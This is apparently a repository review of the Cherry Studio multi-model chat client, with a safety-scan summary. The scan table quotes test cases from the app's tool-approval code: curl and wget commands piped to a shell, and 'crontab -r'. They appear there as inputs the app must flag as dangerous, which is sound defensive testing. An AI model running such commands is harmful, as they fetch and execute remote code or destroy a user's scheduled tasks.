Cherry Studio is a desktop app for talking to many language models from one window. You add API keys for providers such as OpenAI, Gemini and Anthropic, or point it at Ollama or LM Studio for local models, and can send one prompt to several models side by side. It ships with more than 300 preconfigured assistants, reads text, images, Office files and PDFs, renders Markdown, code and Mermaid diagrams, translates, backs up over WebDAV, and connects to MCP servers for tools.
It is an Electron app for Windows, macOS and Linux that needs no environment setup, which makes it a common choice for people who want a ChatGPT-style client with their own keys and a free choice of models. Its large Chinese-speaking user base shows in the provider list and a separate CN build, but the interface and documentation are available in English.
Cherry Studio is developed by CherryHQ, has about 52,300 stars and is at version 2.1.4. The Community Edition is AGPL-3.0; a paid Enterprise Edition adds central model management, shared knowledge bases, access control and private server deployment, and a commercial licence is available for anyone who cannot meet the AGPL's terms.
- Repository: github.com/CherryHQ/cherry-studio
- Licence: AGPL-3.0 (GNU Affero General Public License v3.0)
- Language: TypeScript. Stars: 52.3K. Forks: 5,034. Last push: Oct 3, 2026.
- Scan: safe, Oct 2, 2026, commit de623b0
Who it is for
People who pay for several AI providers and want one client for all of them, local model users who want a polished front end for Ollama, and anyone who prefers a desktop app to browser tabs.
Getting started
1. macOS, with Homebrew
brew install --cask cherry-studio2. Linux: download the AppImage from the releases page (Windows has setup and portable .exe builds there too)
chmod +x Cherry-Studio-*-linux-x64.AppImage && ./Cherry-Studio-*-linux-x64.AppImageNothing works until you add at least one provider in Settings, either an API key or a local Ollama or LM Studio address. Chats and keys are stored on your machine; prompts go to whichever provider you choose. ARM builds and .deb and .rpm packages are also on the releases page.
Safety scan
We cloned CherryHQ/cherry-studio at commit de623b0 on Oct 2, 2026 and ran the checks described on the GitHub Tools page: credential patterns, decode-and-execute code, install-time scripts, committed binaries, risky CI workflows, every host the code talks to, known vulnerabilities in pinned dependencies, and project hygiene. A person read every hit. This is what we found.
- All 18 secret candidates are format strings or fakes. VertexAiService.ts and aiCore's provider utils contain the literal -----BEGIN PRIVATE KEY----- markers they use to tidy a Google service-account key you paste in; the rest are test fixtures such as xoxb-test-token and a ghp_xxxx placeholder for the output sanitiser, which redacts secrets from agent output.
- The five pattern hits and 12 bare-IP URLs are all tests: example curl | sh and crontab commands that the tool-approval code must flag as destructive, and addresses such as 8.8.8.8, 100.64.0.1 and 255.255.255.255 that the remote-URL guard must accept or refuse.
- We read the analytics code. AnalyticsService and Sentry run only while data collection is consented under the current policy version. The setting defaults to on, so accepting the policy during onboarding enables app-launch and token-usage analytics plus crash reports; declining turns both off, and the switch stays in Data Settings. Onboarding also offers CherryIN, the developers' own model gateway, as the first provider.
- 225 known advisories (3 critical, 86 high) in one pnpm lockfile of 3,182 packages. The one to know is decompress 4.2.1, which arrives through officeparser, the library that reads Word, Excel and PowerPoint attachments; its critical advisories cover crafted archives writing files outside the extraction folder, so be wary of attaching Office files from strangers. The other critical, tar 6.2.1, comes with native-module build tooling.
- 24 workflows. One, backport-release-fixes.yml, uses pull_request_target but checks out the workflow's own commit, not the pull request, and passes the PR title only through environment variables. None of the 25 third-party actions is pinned to a commit. The npm postinstall builds internal packages and prepare installs git hooks for contributors. Security policy, Dependabot, licence and contributing guide present; no CodeQL.
What the scanner counted
| Check | Result |
|---|---|
| Secrets | 18 candidates found and read; see the notes above. |
| Suspicious code | 5 pattern hits found and read; every one is listed under the raw findings. |
| Install-time code | 2 npm lifecycle scripts |
| Committed binaries | None. |
| CI workflows | 24 workflows. 1 uses pull_request_target, none check out the pull request head. 25 of 25 third-party actions pinned to a tag rather than a commit. |
| Network hosts | 40 distinct hosts referenced from source; most often api.example.com, github.com, a.com, api.openai.com. 12 URLs to a bare IP address, listed under the raw findings. |
| Known vulnerabilities | 225 advisories across 3,182 pinned packages: 3 critical, 86 high, 120 moderate, 16 low. pnpm-lock.yaml: 3,182 packages, 225 advisories. |
| Project hygiene | Has security policy, automated dependency updates, licence file, contributing guide. Missing CodeQL. |
| OpenSSF Scorecard | Not scored: the project is not in Scorecard's weekly index. |
The raw findings
Every hit the scanner wrote out, with a link to the exact line at the scanned commit. Secrets candidates are redacted.
Secret candidates (18, redacted)
Pattern hits (5)
| Where | Rule | Match |
|---|---|---|
| src/main/ai/runtime/pi/approvalExtension.test.ts:428 | download-piped-to-shell | ['curl https://example.com/i.sh | sh', 'remote script'], |
| src/main/ai/toolApproval/__tests__/destructiveCommand.test.ts:18 | download-piped-to-shell (test/example) | 'curl -fsSL https://get.example.com | sh', |
| src/main/ai/toolApproval/__tests__/destructiveCommand.test.ts:19 | download-piped-to-shell (test/example) | 'wget -qO- https://x.dev/i.sh | sudo bash', |
| src/main/ai/toolApproval/__tests__/destructiveCommand.test.ts:23 | persistence (test/example) | 'crontab -r', |
| src/main/ai/toolApproval/__tests__/destructiveCommand.test.ts:54 | persistence (test/example) | 'crontab -l', |
URLs to bare IP addresses (12)
| Where | Rule | Match |
|---|---|---|
| docs/references/mini-app/examples/capability-tests/app.js:629 | ip-literal-url | await expect('IP literal', denied, () => cherry.network.fetch({ url: 'https://93.184.216.34/' })) |
| src/main/services/proxy/__tests__/bypassRules.test.ts:71 | ip-literal-url | expect(isByPass('http://192.169.1.1')).toBe(false) |
| src/main/utils/__tests__/remoteUrlSafety.test.ts:26 | ip-literal-url | 'http://8.8.8.8/file', |
| src/main/utils/__tests__/remoteUrlSafety.test.ts:31 | ip-literal-url | 'http://198.18.0.1/file', |
| src/main/utils/__tests__/remoteUrlSafety.test.ts:32 | ip-literal-url | 'http://198.19.255.255/file', |
| src/main/utils/__tests__/remoteUrlSafety.test.ts:66 | ip-literal-url | ['http://100.64.0.1/file', '100.64.0.1'], |
| src/main/utils/__tests__/remoteUrlSafety.test.ts:69 | ip-literal-url | ['http://192.0.0.8/file', '192.0.0.8'], |
| src/main/utils/__tests__/remoteUrlSafety.test.ts:71 | ip-literal-url | ['http://224.0.0.1/file', '224.0.0.1'], |
| src/main/utils/__tests__/remoteUrlSafety.test.ts:72 | ip-literal-url | ['http://240.0.0.1/file', '240.0.0.1'], |
| src/main/utils/__tests__/remoteUrlSafety.test.ts:74 | ip-literal-url | ['http://255.255.255.255/file', '255.255.255.255'], |
| src/main/utils/__tests__/remoteUrlSafety.test.ts:177 | ip-literal-url | await expect(resolveRemoteFetchUrl('http://8.8.8.8/file')).resolves.toEqual({ |
| src/main/utils/__tests__/remoteUrlSafety.test.ts:178 | ip-literal-url | url: 'http://8.8.8.8/file', |
npm lifecycle scripts (2)
package.jsonpostinstall:pnpm --filter @cherrystudio/dsh-bridge build && pnpm --filter @cherrystudio/remote-protocol build && pnpm --filter @cherrystudio/remote-transport buildpackage.jsonprepare:git config blame.ignoreRevsFile .git-blame-ignore-revs && node -e "process.env.CI||require('child_process').execSync('prek install',{stdio:'inherit'})"
Worst known vulnerabilities (24 of 225)
| Advisory | Severity | Package | Summary |
|---|---|---|---|
| GHSA-hrh2-vp3x-79xf | critical | decompress@4.2.1 | @xhmikosr/decompress: Path traversal via symlink chain |
| GHSA-mp2f-45pm-3cg9 | critical | decompress@4.2.1 | Decompress: Archive extraction can create files and links outside of the target directory |
| GHSA-23hp-3jrh-7fpw | critical | tar@6.2.1 | node-tar: Decompression/parse DoS via unlimited input |
| GHSA-j95f-988m-3j2f | high | @tiptap/core@3.26.1 | Tiptap: Quadratic ReDoS in block and inline Markdown attribute parsing |
| GHSA-27p8-2357-5qqv | high | @xmldom/xmldom@0.8.13 | xmldom: DocType `name` Injection Bypasses requireWellFormed |
| GHSA-4w3w-2rp5-g8jm | high | @xmldom/xmldom@0.8.13 | xmldom: Attribute name injection via setAttribute() bypasses requireWellFormed |
| GHSA-8344-3jmq-59r6 | high | @xmldom/xmldom@0.8.13 | xmldom: Quadratic-time attribute deduplication |
| GHSA-93r5-fhx6-vmg9 | high | @xmldom/xmldom@0.8.13 | xmldom: Quadratic-time parsing via the malformed-input recovery path - `parseElementStartPart` re-scan and `normalize()`… |
| GHSA-965w-775f-mr7g | high | @xmldom/xmldom@0.8.13 | xmldom: Quadratic-memory consumption |
| GHSA-c7q8-3ch8-vqpv | high | @xmldom/xmldom@0.8.13 | xmldom: Processing Instruction Target Injection Bypasses requireWellFormed |
| GHSA-w2rr-34g9-rvrj | high | @xmldom/xmldom@0.8.13 | xmldom: Element name injection via createElement() bypasses requireWellFormed |
| GHSA-x4fp-j954-r2f4 | high | @xmldom/xmldom@0.8.13 | xmldom: End-tag Whitespace-Trim Regex ReDoS - quadratic backtracking in the 0.8.x end-tag parser |
| GHSA-27p8-2357-5qqv | high | @xmldom/xmldom@0.9.10 | xmldom: DocType `name` Injection Bypasses requireWellFormed |
| GHSA-3px3-54cx-rmw9 | high | @xmldom/xmldom@0.9.10 | xmldom: Creation-time XML Name/QName validation is bypassable via an embedded line terminator, allowing injection on the… |
| GHSA-4w3w-2rp5-g8jm | high | @xmldom/xmldom@0.9.10 | xmldom: Attribute name injection via setAttribute() bypasses requireWellFormed |
| GHSA-6mj3-qw4j-hgrw | high | @xmldom/xmldom@0.9.10 | xmldom: HTML raw-text closing-tag case mismatch causes output amplification |
| GHSA-8344-3jmq-59r6 | high | @xmldom/xmldom@0.9.10 | xmldom: Quadratic-time attribute deduplication |
| GHSA-93r5-fhx6-vmg9 | high | @xmldom/xmldom@0.9.10 | xmldom: Quadratic-time parsing via the malformed-input recovery path - `parseElementStartPart` re-scan and `normalize()`… |
| GHSA-965w-775f-mr7g | high | @xmldom/xmldom@0.9.10 | xmldom: Quadratic-memory consumption |
| GHSA-c7q8-3ch8-vqpv | high | @xmldom/xmldom@0.9.10 | xmldom: Processing Instruction Target Injection Bypasses requireWellFormed |
| GHSA-g53g-w8rj-fmg7 | high | @xmldom/xmldom@0.9.10 | xmldom PI grammar regex ReDoS: quadratic backtracking on unterminated processing instructions |
| GHSA-vr34-hp96-76pp | high | @xmldom/xmldom@0.9.10 | xmldom: requireWellFormed DocType publicId/systemId validation is bypassable via an embedded line terminator |
| GHSA-w2rr-34g9-rvrj | high | @xmldom/xmldom@0.9.10 | xmldom: Element name injection via createElement() bypasses requireWellFormed |
| GHSA-7q85-xj36-vmfc | high | adm-zip@0.4.16 | adm-zip: Uncontrolled memory allocation via the declared uncompressed size (DoS) |
Workflows worth a look
- .github/workflows/backport-release-fixes.yml: pull_request_target
By the numbers
| Stars | 52.3K |
|---|---|
| Forks | 5,034 |
| Contributors | 478 |
| Commits | 9,363 |
| Open issues | 1,117 |
| Open pull requests | 592 |
| Releases | 287 |
| Latest release | v2.1.4 |
| Licence | AGPL-3.0 |
| Main language | TypeScript |
| Project age | 2 years |
| Last push | Oct 3, 2026 |
| Tracked files | 9,675 |
| Lines of code | 1.9M |
| Checkout size | 95 MB |
Lines by language: TypeScript 1.5M, JSON 308.4K, Markdown 61.1K, JavaScript 20K, YAML 6,938, CSS 4,712.
Questions
Is Cherry Studio free?
Yes. The Community Edition is AGPL-3.0 and free on Windows, macOS and Linux, commercial use included under the AGPL's terms. You pay your model providers for API use, or nothing with local models. The Enterprise Edition, with an admin backend and a private server, is sold by quote or subscription.
Does Cherry Studio work with local models?
Yes. It supports Ollama and LM Studio as providers, so a model running on your machine appears next to the cloud ones, and you can compare a local and a cloud model on the same prompt.
What does AGPL-3.0 mean for Cherry Studio users?
Using the app, at home or at work, carries no special obligations. The AGPL matters if you modify Cherry Studio and distribute it or offer it to others over a network: then you must publish your changes under the same licence, or buy a commercial licence from the developers.
This post is part of GitHub Tools, where every repository is cloned and scanned before it is written up. The scan is a snapshot of one commit on one day; the repository has moved on since, so check it before you install.
